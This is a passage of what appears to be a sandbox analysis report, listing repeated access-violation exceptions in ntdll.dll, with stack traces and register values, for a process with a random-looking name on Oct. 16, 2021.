__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632908 registers.edi: 1632996 registers.eax: 23117 registers.ebp: 1632968 registers.edx: 0 registers.ebx: 0 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x773faf21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632760 registers.edi: 1632856 registers.eax: 23117 registers.ebp: 1632820 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000558592	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x773fada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x773faf78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1632892 registers.edi: 1632980 registers.eax: 23117 registers.ebp: 1632952 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 1632768	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x773cf5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x773cf560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x773e176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x72bf7322 0x9060e3 0x904117 0x904204 oxqfxohrjqryauuonybvsdergonzrywtkp+0x568aa @ 0x4568aa oxqfxohrjqryauuonybvsdergonzrywtkp+0x572c5 @ 0x4572c5 oxqfxohrjqryauuonybvsdergonzrywtkp+0x59712 @ 0x459712 oxqfxohrjqryauuonybvsdergonzrywtkp+0x49ab @ 0x4049ab BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x757333ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x773d9ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x773d9ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x773cf4ef registers.esp: 1633016 registers.edi: 1633112 registers.eax: 23117 registers.ebp: 1633076 registers.edx: 0 registers.ebx: 9437184 registers.esi: 9437184 registers.ecx: 2000662016	1
__exception__ Oct. 16, 2021, 1:19 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x773d317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x773e199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x773e193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x773e18ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x773e174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x773e3e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x76a83b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x755bdb3e New_user32_LoadStringA@16+0x91 